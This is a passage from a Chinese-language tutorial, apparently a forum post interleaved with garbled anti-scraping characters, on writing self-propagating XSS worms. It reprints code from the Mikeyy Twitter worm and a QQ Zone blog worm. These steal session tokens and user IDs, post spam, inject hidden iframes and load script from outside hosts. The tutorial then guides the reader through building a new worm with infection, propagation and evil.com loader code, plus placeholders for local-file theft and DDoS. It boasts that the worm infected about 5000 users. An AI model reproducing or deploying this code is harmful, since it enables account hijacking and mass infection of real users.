: U7 D. T" U; {9 o- O  _

5 k6 b& C9 O2 lXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

2 W4 @7 C2 g: c+ i) `- ^# t, nXmlHttp.send(null);
# ~* E2 }/ w! s; `5 R0 g
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
% w5 v) F. a- A' k4 W复制代码案例:Twitter 蠕蟲五度發威
; d" }" [( S% t1 @2 m% r第一版:
6 E4 k2 u6 i& O% m% f; ^  下载 (5.1 KB)
: T6 O3 Z) z( E% U! h+ p
6 天前 08:27
1 j2 H3 t! ~: Q3 f8 p( F2 i
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   
4 B& D+ x2 M9 K9 {" f
4 n- K, o) i' U7 N   3. function XHConn(){  
* j" }% a0 x8 z$ ]' L* q3 C
+ |# a/ }3 F2 X( V+ ?2 W6 f   4.   var _0x6687x2,_0x6687x3=false;  

   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
2 ^' y. ?! w* @, B& \
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

$ r3 E& @: ?; h6 F" g1 }1 H   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
" D; A( k7 ~% @3 I; t- g% A4 S
   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
8 v- F6 ]4 _2 j5 L) x( O! c( J
   2.   var content = document.documentElement.innerHTML;  
3 \1 o3 P) C( a; Q5 F) q
   3.   var tmp_cookie=document.cookie;  
1 }0 E$ g1 `$ r. b" a- f
   4.   var tmp_posted=tmp_cookie.match(/posted/);  
  f- [0 X- r- t; _4 Q/ S4 Y
0 P* j; _3 T! z2 O- f: S) w. A   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
3 _% T; I) x: e4 x* k: k- {
/ o3 u5 x6 M$ d, _   6.   var authtoken=authreg.exec(content);  

   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  

$ I$ V( z% `/ J  W1 X8 o   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

7 |: p4 i8 p. M+ Q' [6 S/ k8 |3 w  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
5 J9 q% j6 ]7 K
4 C8 X( E0 b4 A; N  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

8 m3 \2 B4 [& C5 a6 t  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

* n# `! P" c7 H" E  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  

  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

+ H6 f% {& }+ Z3 j! @. E0 B  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
& B' M' f7 ^; F1 W
9 j" \- y7 d  y, S; V- `8 B  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
9 B& T3 F- k8 L& N
/ ^3 n( A5 t6 I. X- }  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

- u/ y6 m% |3 W. ?, ^+ }% C3 i$ t  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

1 s, |0 s1 B7 X. [  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

2 [$ g: D! L/ @! ^  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
7 _4 }( w8 J9 M% L
3 @& y( `5 g6 d, a% B  24.     

2 s4 ]* n% j, [& k  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

! L9 W7 y- `1 m% L& T" n2 X, T  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

) D0 u% t5 I' `2 \, q+ x* J8 ~/ M3 O  27.     
$ O& c: H/ y( N: m+ f, s
  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  

  30.   var _0xf81bx1c="Mikeyy";  
! p, n6 h" s( g  `
  31.   var updateEncode=urlencode(_0xf81bx1c);  
6 F9 t2 j$ k0 A% z4 Z8 j4 ?6 c. L
  32.   var ajaxConn1= new XHConn();  
6 h9 x* }0 v; }
8 V% L+ w5 s& Z0 u! L& F  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
* d( K5 u0 L: o& |% B/ F5 D, X
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  
. t4 k9 X, b/ M0 `0 x
9 w5 P  @8 n3 G# f8 Q( |  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

$ g; C) o. _! h1 Z  38.     
5 a$ F! g, l! P. G  @8 N9 t0 H
' ~; F) `) |( }6 x5 i  39. } ;  

' M$ \6 y. Y6 r) c, I1 B  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
  Y$ D- t7 a7 u" B
window.onerror=killErrors;
) K4 q! k# M0 Q4 @9 `
( `5 r5 B. z% _% P. w1 o- i( k
9 K9 P- K$ ?  l  C3 v1 s0 r# o4 R& V
6 E& y# g3 W! Q" t" {var shendu;shendu=4;

7 `* N. p" Z- u) V2 C5 y& \//---------------global---v------------------------------------------
% ?" ]- y  ], W' y
  s. V/ \4 N( W. b! n//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
0 Q( C$ u6 h0 b( w& _
var myblogurl=new Array();var myblogid=new Array();

3 J6 G3 h+ b% U! X# o        var gurl=document.location.href;

3 V6 i% C9 J4 ^& W; ~) z' _        var gurle=gurl.indexOf("com/");

3 z; o+ s% \' R, y0 ]7 @! O% s$ k        gurl=gurl.substring(0,gurle+3);        
4 l9 J* h2 Y/ C: H1 `6 K
9 g/ p3 D5 w0 `; b. Q" t. R2 u        var visitorID=top.document.documentElement.outerHTML;

% B& C; U0 f3 J( \: R           var cookieS=visitorID.indexOf("g_iLoginUin = ");
3 {8 |: y- E* b, Z2 k' o0 C
" V4 }7 B. ^* v        visitorID=visitorID.substring(cookieS+14);
$ e4 Q( t- Y' H7 H! N
+ }1 _( D6 a& ~- ^* l        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);
4 a) ?, G; b5 W- w" z6 q
* _/ V' J9 A* D8 C( f( m  K        DOshuamy();
, [1 e% C& [6 }! T7 l+ p

1 {. l. Q2 ]0 G
//挂马

) K! d6 M8 p/ q  Sfunction DOshuamy(){

var ssr=document.getElementById("veryTitle");

* X2 D$ A  a, P- L4 w7 G% lssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

4 J' l5 \; [3 ?% N}
7 [6 Q) F8 h, K# A) P4 j

9 o% m: k1 K* h# D0 X0 H# ^0 E
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
. o4 d8 x+ \. `& q2 X
# }- C# ]0 T: ^# zfunction get_my_blog(visitorID){

4 r" a: r  P2 y7 a3 s. i1 M   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
* J1 t1 Q" x0 b! Z2 |
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的

: m/ }; K  g( p  Y: y+ _6 I2 p     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
% J, S9 D5 M" O2 c: T
4 E2 H6 w& z3 a3 N$ J$ h     xhr.send();guest=xhr.responseText;

! n; Z' J8 j, \0 `     get_my_blogurl(guest);    //执行这个函数
" v6 n: t8 C/ @( a8 |! A
    }
7 p4 N% d" M3 s6 d
/ @) U. n$ [$ f, ?% X}
( K, a- `0 i$ u" d" ^- M. O' K
3 p$ V3 j- z6 [0 C' w
% t# H: o. X: c; \8 R% }
//这里似乎是判断没有登录的

2 b4 k' b  T: `1 S8 x" \' S3 rfunction get_my_blogurl(guest){
* ]2 `4 }1 ]/ ^6 B. A: W7 Z$ R
  var mybloglist=guest;

  var myurls;var blogids;var blogide;
" q. f- \' k: t3 c) _# g4 ]2 P
  for(i=0;i<shendu;i++){
# R/ r3 C+ o6 o, B
     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
7 F' d+ D( Q; `
     if(myurls!=-1){    //找到了就执行下面的
+ R3 l6 W8 h" _7 R2 F
         mybloglist=mybloglist.substring(myurls+11);

& x  t# b+ J$ `! d: W% f         myurls=mybloglist.indexOf(')');

# Q" }' o0 I5 C: X         myblogid=mybloglist.substring(0,myurls);

, M# b; R# H' k        }else{break;}
/ T" c5 D( D  a. J: A
}

) |; S1 L! Y, l) L' hget_my_testself();    //执行这个函数
* |+ U/ ~  I$ T$ A( {
}

+ [( N: S5 K3 `% P4 O

* a. }9 s0 L* u7 x//这里往哪跳就不知道了

function get_my_testself(){
: }  T+ [5 |$ Y. M
  for(i=0;i<myblogid.length;i++){    //获得blogid的值
7 m3 M$ }7 T+ |1 V1 n6 I6 ~
      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
/ ~7 K# u% u; w6 M2 R
& _! b# E+ X! y' |8 ]      if(xhr2){        //如果成功

; I+ z! R# E6 g1 b4 V/ e1 _; Q. u              xhr2.open("GET",url,false);     //打开上面的那个url

              xhr2.send();
- y' E% y; O5 }
              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

, t- }1 {9 N! Y( K+ L              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
0 W  i2 h$ R- A  w6 K3 d
              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

" B' f; t7 I  ~                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
3 d0 J$ D9 \5 `2 l7 W
               }

8 O: g. K$ e0 s* h; g9 {              if(mycheckit=="-1"){
# x( i* Y  W8 e8 O0 I; ]( u
                targetblogurlid=myblogid;
" g; _, G8 |) i( i4 x, w
5 D" m6 w8 ^4 o, E8 m* u2 W3 w6 {                add_js(visitorID,targetblogurlid,gurl);    //执行它
! X1 Z& j  i/ P7 L2 H
$ l: i! C; {% S+ V                break;
& @% e8 x# `# K/ B* ~+ x
               }

" m0 y* z+ h) e2 Z8 N        }      
, t1 t0 w' o- @
}

}
: E. G( s. A+ J$ {7 ~

, Z: E" i3 z# V2 y6 u
/ F& M. w; ?% q7 E0 a( `//--------------------------------------  
; t) m# ~& m1 H
% R- L, y# t7 C! G//根据浏览器创建一个XMLHttpRequest对象
* v, C1 _% ?$ P1 ?4 y# X3 z, U
function createXMLHttpRequest(){

    var XMLhttpObject=null;  

    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
+ {" G- e' l  [9 b6 x
    else  

0 G$ t# g1 B3 K( p- ~1 D      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

# U( l- @( V& E- [% S- |        for(var i=0;i<MSXML.length;i++)  
4 ]# y; {' x* i8 V* `1 X4 l# _
        {  
% R  J: N' C8 d5 p$ e7 l+ H( P2 [
' x- s, d, a' Q, c            try  

            {  
  s% L2 k7 k% V* a- _  R
1 ?; R' V9 C1 G" ^2 f9 Q& [  [2 u                XMLhttpObject=new ActiveXObject(MSXML);  
2 t6 Y. P0 M) N  N* M' M, _& m
* T& s! x- S1 z5 X# w4 x                break;  

! ?2 s2 ]1 P) l" }. |2 d            }  

  ]. w0 r! U- w+ ~) x6 n# N            catch (ex) {  

            }  
  s# W% L' E- Y
         }  

7 j+ b. w. G& \8 t2 E  \      }

return XMLhttpObject;

2 y7 s' M. I$ A( J& [}  


& Z+ q9 v& p; B, i) b  U) k
! c9 P. Z5 E$ I//这里就是感染部分了

function add_js(visitorID,targetblogurlid,gurl){
2 P) s# x  u7 @/ |* n
var s2=document.createElement('script');
1 E  l& f3 j8 ^7 }/ Y
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
5 k5 t4 {& E3 f  u; P  n; F
s2.type='text/javascript';
+ |& |* j4 ~5 o* H5 O0 x4 N% T6 l
document.getElementsByTagName('head').item(0).appendChild(s2);

}
& ]- I3 j) l; R3 c


/ p% o' h, c+ D1 z. q: Mfunction add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
- \6 a. {4 o. d( K3 P2 @
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
7 _" ]# y: t1 Y( G: T6 j
s2.type='text/javascript';

, b* k0 Z4 u( M2 hdocument.getElementsByTagName('head').item(0).appendChild(s2);

}
& k. Y9 _+ M& u0 e2 u2 ?  `7 C' S复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
3 w# e$ ?3 ^0 T% U' `7 [1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
# M/ J2 u8 T- K9 B. J# e
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

9 ^; e: O7 c8 U) O/ P综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

" }9 r4 d  t* v3 M- m  |8 g
. C& I+ j- G; e( i) S下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {
2 [  p# f) a6 U8 d1 y
4 I, W- n0 r. |: I/ L9 I/ j1 e% j( Grequest = new XMLHttpRequest();
, _; G- y. L- ^
if(request.overrideMimeType) {
, _# r1 N, \8 h
request.overrideMimeType('text/xml');

2 b% J6 q5 G  f: w% a/ t) O}
, A7 ~' H' A; T
} else if(window.ActiveXObject) {
! H; v  V  P4 a$ s9 A# G! ]( l/ s
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {
7 N) Q" W' z& I7 L7 Q3 J& c$ D
9 `+ z9 f* J2 g* crequest = new ActiveXObject(versions);

$ n# _! l& n& M; \} catch(e) {}
! q+ D( w3 A2 C' X9 ^7 E
}
- J$ b0 x% p/ ^& C' k+ J
1 N! J# G$ R5 i' I, m}
- K8 w% Y6 v9 n# l* F
/ a. W) j/ s, ~xmlHttpReq=request;
) Y" e2 A0 a3 v, G# {/ X复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;
2 B& A3 v% S  x- Y3 w
        var Browser_Version=parseFloat(navigator.appVersion);

  y( E' I/ J" Y* ~$ ]$ {. j( k$ H        var Browser_Agent=navigator.userAgent;

" Y" \& k1 U' z. b+ M' n1 z6 D% X        

6 ~6 {8 H5 |  Y* j! R        var Actual_Version,Actual_Name;
7 H" `9 X) k* M# `- u6 k- m. f
        

! U" ]2 \+ h4 f% h7 j0 y! ]        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
* K# J, K" _# A% ~) G; \. A
        var is_NN=(Browser_Name=="Netscape");
0 c" c; @5 m: X
        var is_Ch=(Browser_Name=="Chrome");

- w7 P2 t6 Q/ N6 s8 b8 H        
+ p3 S8 ]+ }( u7 A0 F
# p- c* K  O6 B& t        if(is_NN){
$ y/ D# M2 {1 s5 t# |3 b: f
( L( U$ x! @+ J$ u, A2 J& T            if(Browser_Version>=5.0){
+ V( q! G& i! G. c. z1 s
                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);

                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
& J4 Y& x* P* H5 M) I( r: ~
/ @: c% e( k: T, x# w6 \
1 ]& ]0 v# K- ~) r4 x/ C" ?
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
- L3 F% H) ~. X- ^  z
$ H( N5 p* d' Q7 {            }

$ z4 f8 h/ g  }, X9 e& `' q            else{
+ I" ?2 D' k) C( ~$ F
, e) m, O8 \: a9 j+ f                Actual_Version=Browser_Version;
  t/ ^/ e' P2 W4 e
                Actual_Name=Browser_Name;

            }

2 ~% I( {$ g7 E2 v; m        }
/ H$ @8 W) H! v. B
" G. m* S. u. `5 C0 S        else if(is_IE){
2 `2 b  f! d& v; z- a
            var Version_Start=Browser_Agent.indexOf("MSIE");
0 |" E; U; m* q) P/ ^$ ]
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
/ `: T" A/ S# ~0 z. }& g4 g# k
5 I, A, k4 e: w0 {            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
+ e4 P; _5 t" s! p6 ?
2 p% t2 V3 w  u" [* G, [& u            Actual_Name=Browser_Name;
, c/ H9 D' d, i+ s
9 d9 m7 m& J. U! A            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

3 g$ ~9 ?( L* Z; Z  n            }

            else if(Browser_Agent.indexOf("Opera")!=-1){

' n- S5 X8 C" e                Actual_Name="Opera";
; Z, K% G- j1 v2 F. ~* f  ~0 O
, `* M$ p: g* n& q' H) p; l                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

2 g% W2 _1 z. l. S            }

9 x4 M. [' @8 d- y        }
7 J5 V4 \( _# {$ f, I4 ?, @* ~0 Z+ G
        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");
6 f' Q  ?% w9 z9 c0 m/ {, t+ C4 F5 s
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
, C  O* C" e9 z/ H
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
" q/ N0 _! l" ?2 \5 s* J
            Actual_Name=Browser_Name;
0 P5 u0 |! C0 X* _
" I9 c: D* g2 n* I+ l4 W* S! n            
5 E6 ^" l3 V( W- u3 ^
# f! k- ]9 t; w' h/ v            if(Browser_Agent.indexOf("Maxthon")!=-1){
" W2 e, E- T9 E5 l/ C
+ C- \9 j, \6 M                Actual_Name+="(Maxthon)";

, B$ l# M" [  h, d2 c7 W# n& e            }
, t/ a7 z1 q' n/ z! I) J
            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

$ \' S* d  }- d* d                var tempstart=Browser_Agent.indexOf("Opera");
* q: b5 J& I4 Z* L0 l2 n
7 ?0 E7 C7 R6 T                var tempend=Browser_Agent.length;
5 Q, F% q9 A4 i$ Z! Y
" n4 R' q  y) U$ ?$ m                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }

# k  F0 s3 Y4 M% T: u        else{
5 T1 a( L6 H, {4 t  u
            Actual_Name="Unknown Navigator"

" A6 v! [% r$ f5 o& C. S  R* u( l            Actual_Version="Unknown Version"
! `- P) y. N7 y
        }



        navigator.Actual_Name=Actual_Name;
+ V7 v0 J" |: m! f- w3 I. A
6 T- Y* X, U" x! C0 T7 x% s        navigator.Actual_Version=Actual_Version;

        
! q8 R  g2 Q8 N- X
        this.Name=Actual_Name;
: j# b2 w' f" i& |1 G7 A
        this.Version=Actual_Version;

  A5 h1 P- O" @: w  H, t+ ^% G. V    }

    browserinfo();
8 c+ P( L. R0 @. h" F1 H+ H4 S3 f
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

0 K$ t/ z: _3 t$ I4 \; r5 b    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
$ ~- D; x% X. z" d0 }. u( T+ C7 t复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
! J1 D" N5 N5 s% {' `  K. ?. B复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
$ _0 l) I* r' k" B, A6 G复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
2 V- @' j+ A8 R- @5 J
xmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;

var id=0;var result;
! D! d$ Q; Q! T8 R+ T$ T- P
  D7 g2 x0 T/ b" L9 _var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
+ u& P$ k$ t& a8 i1 @, R# n8 v3 P/ }1 ?
" V7 b) |! Y: ~' [- W: p% D' V7 P) bwhile ((result = patt.exec(resource)) != null)  {

id++;
  W: {5 |. @" Y( C8 U" ~
}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

3 h5 p. V: s; w4 g& Tvar post="wd="+wd;

xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
3 r$ z/ S! p: p9 U
xmlHttpReq.setRequestHeader("content-length",post.length);
) G* b& r8 y  d* V; O7 s
1 s4 K2 \- N: ^# xxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
* w# z# |3 c& S3 _9 f+ r4 y% h
xmlHttpReq.send(post);

}
- Z" M+ Y+ F# B2 e复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

$ M  k% ^5 Y1 l7 Bvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
7 g; `. x( V4 E# E; X9 V8 Q
var post="wd="+wd;
4 M9 U4 |; p: ?, L* w
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
/ o' [6 s7 v7 ?7 A
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
5 g$ U5 Y# t1 N5 W2 |! d% v0 s
xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.

1 i, R8 V( X5 O% d; N3 ^}
/ T8 @+ Y% J9 R$ J+ W  w0 U4 D. I% e$ A2 o复制代码-----------------------------------------------------总结-------------------------------------------------------------------
- a3 H: ~/ P, k$ a( k


本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
7 X! P8 G* J- i
4 X- x+ T% `# s' \; ?' {
6 h( j) ^3 k% b- i/ K


6 p7 }" C0 X5 z3 N


, _5 V& J3 m5 d; W8 K* C6 E本文引用文档资料:
" j% O: e! t1 o6 e" ?2 Q
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
" j, M# [& z$ }$ wOther XmlHttpRequest tricks (Amit Klein, January 2003)
% |8 Z/ m& m5 i- }"Cross Site Tracing" (Jeremiah Grossman, January 2003)
: S/ Z* M- y, w% e1 t5 m% z; j+ w; Zhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/
1 v6 b# n8 m$ K$ s